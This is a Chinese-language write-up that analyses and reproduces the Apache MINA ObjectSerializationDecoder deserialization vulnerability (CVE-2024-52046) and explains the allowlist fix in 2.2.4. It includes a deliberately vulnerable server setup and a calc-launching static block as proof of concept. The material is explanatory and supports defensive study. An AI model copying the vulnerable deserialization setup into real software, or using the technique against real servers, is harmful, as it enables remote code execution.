漏洞描述

Apache MINA(Multipurpose Infrastructure for Network Applications)是一个开源的网络通信框架,它为开发网络应用程序提供了高效、可扩展的解决方案。MINA 封装了许多底层网络通信的细节,简化了开发网络应用所需的工作。它的设计目标是使开发者能够轻松地构建基于高性能、低延迟的网络协议的应用程序。

Apache MINA 中的 ObjectSerializationDecoder 使用 Java 的原生反序列化协议来处理传入的序列化数据,但缺乏必要的安全检查和防御。此漏洞允许攻击者通过发送特制的恶意序列化数据来利用反序列化过程,从而可能导致远程代码执行 (RCE) 攻击。同样需要注意的是,使用 MINA 核心库的应用程序只有在调用 IoBuffer#getObject() 方法时才会受到影响,并且当使用 ObjectSerializationCodecFactory 类在过滤器链中添加 ProtocolCodecFilter 实例时可能会调用此特定方法。

影响范围

Apache MINA 2.0.X < 2.0.27

Apache MINA 2.1.X < 2.1.10

Apache MINA 2.2.X < 2.2.4

环境搭建

通过下面的例子可以快速上手 Mina ,如果只关心漏洞成因可以跳转漏洞分析章节。

依赖导入

这里使用 2.2.1 版本。

1
2
3
4
5
<dependency>
<groupId>org.apache.mina</groupId>
<artifactId>mina-core</artifactId>
<version>2.2.1</version>
</dependency>

Mina 客户端

创建一个类 ClientHandler 实现 IoHandlerAdapter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import org.apache.mina.core.service.IoHandlerAdapter;
import org.apache.mina.core.session.IoSession;

public class ClientHandler extends IoHandlerAdapter {
@Override
public void messageReceived(IoSession session, Object message) {
System.out.println("Received: " + message);
}

@Override
public void exceptionCaught(IoSession session, Throwable cause) {
cause.printStackTrace();
}
}

创建一个主类,用于启动客户端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import org.apache.mina.core.future.ConnectFuture;
import org.apache.mina.core.service.IoConnector;
import org.apache.mina.core.session.IoSession;
import org.apache.mina.filter.codec.ProtocolCodecFilter;
import org.apache.mina.filter.codec.textline.TextLineCodecFactory;
import org.apache.mina.transport.socket.nio.NioSocketConnector;

import java.net.InetSocketAddress;
import java.nio.charset.Charset;

public class MinaClient {
public static void main(String[] args) {
// 创建客户端连接器
IoConnector connector = new NioSocketConnector();

// 添加编码解码器(字符串处理)
connector.getFilterChain().addLast(
"codec",
new ProtocolCodecFilter(new TextLineCodecFactory(Charset.forName("UTF-8")))
);

// 设置处理器
connector.setHandler(new ClientHandler());

// 连接到服务器
String serverAddress = "127.0.0.1"; // 服务器地址
int serverPort = 9123; // 服务器端口
try {
ConnectFuture connectFuture = connector.connect(new InetSocketAddress(serverAddress, serverPort));
connectFuture.awaitUninterruptibly(); // 等待连接完成

IoSession session = connectFuture.getSession();
session.write("Hello, MINA!"); // 发送数据到服务器

Thread.sleep(2000); // 保持连接一段时间
session.closeNow();
} catch (Exception e) {
e.printStackTrace();
} finally {
connector.dispose(); // 释放资源
}
}
}

Mina 服务端

创建一个 ServerHandler 类,用于处理客户端消息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import org.apache.mina.core.service.IoHandlerAdapter;
import org.apache.mina.core.session.IoSession;

public class ServerHandler extends IoHandlerAdapter {
@Override
public void sessionOpened(IoSession session) {
System.out.println("New session opened: " + session.getRemoteAddress());
}

@Override
public void messageReceived(IoSession session, Object message) {
System.out.println("Received: " + message);
// Echo the received message back to the client
session.write("Server received: " + message);
}

@Override
public void exceptionCaught(IoSession session, Throwable cause) {
cause.printStackTrace();
}

@Override
public void sessionClosed(IoSession session) {
System.out.println("Session closed: " + session.getRemoteAddress());
}
}

创建一个主类,用于启动服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import org.apache.mina.core.service.IoAcceptor;
import org.apache.mina.core.service.IoHandler;
import org.apache.mina.filter.codec.ProtocolCodecFilter;
import org.apache.mina.filter.codec.textline.TextLineCodecFactory;
import org.apache.mina.transport.socket.nio.NioSocketAcceptor;

import java.net.InetSocketAddress;
import java.nio.charset.Charset;

public class MinaServer {
public static void main(String[] args) {
int port = 9123; // 服务端监听端口

try {
// 创建服务器接受器
IoAcceptor acceptor = new NioSocketAcceptor();

// 添加编码解码器(字符串处理)
acceptor.getFilterChain().addLast(
"codec",
new ProtocolCodecFilter(new TextLineCodecFactory(Charset.forName("UTF-8")))
);

// 设置处理器
IoHandler handler = new ServerHandler();
acceptor.setHandler(handler);

// 绑定端口
acceptor.bind(new InetSocketAddress(port));
System.out.println("Server started on port " + port);
} catch (Exception e) {
e.printStackTrace();
}
}
}

运行步骤

  1. 运行服务端:

    • 启动 MinaServer 主类,服务端会在指定端口(如 9123)上监听客户端连接。
  2. 运行客户端:

    • 配合之前的 MinaClient 代码运行客户端,连接到服务端,并发送消息。
  3. 查看输出:

    • 服务端控制台应显示收到的客户端消息。
    • 客户端控制台应显示服务端返回的响应。

漏洞分析

反序列化

当服务端或客户端接收到网络数据时,MINA 的处理流程如下:

1.1 数据读取

  • MINA 的底层通过 IoProcessor 从网络套接字读取原始字节流(ByteBuffer)。

1.2 解码

  • 解码器(Decoder) 将字节流转换为更高层次的 Java 对象。
  • MINA 使用 ProtocolDecoder 接口的实现类进行解码。解码器通常由用户自定义。
  • 解码器的典型实现依赖于 MINA 提供的 ProtocolCodecFactory,如 TextLineCodecFactory 或自定义实现。

1.3 数据交给处理器

  • 解码后的 Java 对象通过 IoHandlerAdaptermessageReceived 方法传递给业务逻辑。

示例流程图(接收数据):

1
网络字节流 → ByteBuffer → ProtocolDecoder → Java 对象 → IoHandler

序列化

当应用程序通过 MINA 的 IoSession.write() 方法发送数据时,MINA 的处理流程如下:

2.1 数据准备

  • 应用程序调用 IoSession.write(message),传入一个 Java 对象(如字符串、实体类)。

2.2 编码

  • 编码器(Encoder) 将 Java 对象转换为网络传输格式的字节流。
  • MINA 使用 ProtocolEncoder 接口的实现类进行编码。编码器由 ProtocolCodecFactory 提供。

2.3 数据发送

  • 编码后的字节流通过 IoProcessor 发送到网络套接字。

示例流程图(发送数据):

1
Java 对象 → ProtocolEncoder → ByteBuffer → 网络字节流

漏洞环境

需要注意的是,漏洞描述中说明了当指定解码器为 ObjectSerializationDecoder 时才会产生反序列化漏洞。而我们之前的环境中是将 TextLineCodecFactory 作为编码解码器。因此需要修改一些代码,将编码解码器指定为 ObjectSerializationDecoder 和 ObjectSerializationEncoder 才能创造漏洞环境。

服务端处理器

创建 ServerHandler 类,用于处理反序列化后的对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import org.apache.mina.core.service.IoHandlerAdapter;
import org.apache.mina.core.session.IoSession;

public class ServerHandler extends IoHandlerAdapter {
@Override
public void sessionOpened(IoSession session) {
System.out.println("New session opened: " + session.getRemoteAddress());
}

@Override
public void messageReceived(IoSession session, Object message) {
if (message instanceof MyData) {
MyData data = (MyData) message;
System.out.println("Received object: " + data);
session.write("Server received object: " + data);
} else {
System.out.println("Unknown message received: " + message);
}
}

@Override
public void exceptionCaught(IoSession session, Throwable cause) {
cause.printStackTrace();
}

@Override
public void sessionClosed(IoSession session) {
System.out.println("Session closed: " + session.getRemoteAddress());
}
}

自定义序列化对象

定义一个可序列化的 Java 对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.io.Serializable;

public class MyData implements Serializable {
private static final long serialVersionUID = 1L;

private String name;
private int value;

public MyData(String name, int value) {
this.name = name;
this.value = value;
}

@Override
public String toString() {
return "MyData{name='" + name + "', value=" + value + "}";
}

// Getters and Setters (Optional)
}

服务端主程序

使用 ObjectSerializationDecoderObjectSerializationEncoder 进行对象的解码和编码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import org.apache.mina.core.service.IoAcceptor;
import org.apache.mina.filter.codec.ProtocolCodecFilter;
import org.apache.mina.filter.codec.serialization.ObjectSerializationDecoder;
import org.apache.mina.filter.codec.serialization.ObjectSerializationEncoder;
import org.apache.mina.transport.socket.nio.NioSocketAcceptor;

import java.net.InetSocketAddress;

public class MinaServer {
public static void main(String[] args) {
int port = 9123; // 服务端监听端口

try {
// 创建服务器接受器
IoAcceptor acceptor = new NioSocketAcceptor();

// 添加序列化/反序列化过滤器
acceptor.getFilterChain().addLast(
"codec",
new ProtocolCodecFilter(
new ObjectSerializationEncoder(),
new ObjectSerializationDecoder()
)
);

// 设置处理器
acceptor.setHandler(new ServerHandler());

// 绑定端口
acceptor.bind(new InetSocketAddress(port));
System.out.println("Server started on port " + port);
} catch (Exception e) {
e.printStackTrace();
}
}
}

配合的客户端

客户端代码需要发送序列化的 MyData 对象。以下是示例客户端代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import org.apache.mina.core.future.ConnectFuture;
import org.apache.mina.core.service.IoConnector;
import org.apache.mina.filter.codec.ProtocolCodecFilter;
import org.apache.mina.filter.codec.serialization.ObjectSerializationDecoder;
import org.apache.mina.filter.codec.serialization.ObjectSerializationEncoder;
import org.apache.mina.transport.socket.nio.NioSocketConnector;

import java.net.InetSocketAddress;

public class MinaClient {
public static void main(String[] args) {
IoConnector connector = new NioSocketConnector();

// 添加序列化/反序列化过滤器
connector.getFilterChain().addLast(
"codec",
new ProtocolCodecFilter(
new ObjectSerializationEncoder(),
new ObjectSerializationDecoder()
)
);

connector.setHandler(new ClientHandler());

String serverAddress = "127.0.0.1";
int serverPort = 9123;

try {
ConnectFuture connectFuture = connector.connect(new InetSocketAddress(serverAddress, serverPort));
connectFuture.awaitUninterruptibly();

// 获取会话并发送对象
connectFuture.getSession().write(new MyData("Test", 42));

Thread.sleep(2000); // 保持连接一段时间
connectFuture.getSession().closeNow();
} catch (Exception e) {
e.printStackTrace();
} finally {
connector.dispose();
}
}
}

运行,可以看到成功发送对象:

调试分析

已知反序列化器为 ObjectSerializationDecoder 对象,这个类的 doDecode 方法用于反序列化服务端收到的字节流数据。此处下断点。

调试服务端,运行客户端,来到断点处:

跟进 in.getObject() ,这里会直接反序列化字节流,使用 Java 的原生反序列化:

调试的时候是会直接进入到 return in.readObject() 这一步,造成反序列化。

这里的 in 其实是 try(…){} 代码块的 () 中获取的。这个 in 的生命周期也仅在 try-catch 代码块中。获取时还重写了 ObjectInputStream 中的两个方法 readClassDescriptor 和 resolveClass 。这两个方法将会在 readObject 时被调用。

漏洞复现

下面将命令执行的代码加入到自定义类的静态代码块中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.io.IOException;
import java.io.Serializable;

public class MyData implements Serializable {
private static final long serialVersionUID = 1L;

private String name;
private int value;

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

public MyData(String name, int value) {
this.name = name;
this.value = value;
}

@Override
public String toString() {
return "MyData{name='" + name + "', value=" + value + "}";
}

// Getters and Setters (Optional)
}

运行服务端和客户端,可以看到命令执行成功:

这里其实会弹出两个计算器,客户端执行一次,服务端执行一次。

漏洞修复

版本切换为 2.2.4,ObjectSerializationDecoder#doDecode 这里增加了一个设置:

跟进 AbstractIoBuffer.setMatchers 发现这是在设置运行反序列化的白名单:

先将属性 acceptMatchers 清空,然后按照传入的 matchers 设置允许被反序列化的类。且默认情况下 acceptMatchers 的值为空。

接着会在自定义的 resolveClass 中进行一个判断,如果类名不在 acceptMatchers 中,则 found 标志为 false ,最后抛出异常:

所以默认情况下是不允许反序列化任何类的。

参考文章

Apache mina CVE-2024-52046漏洞分析复现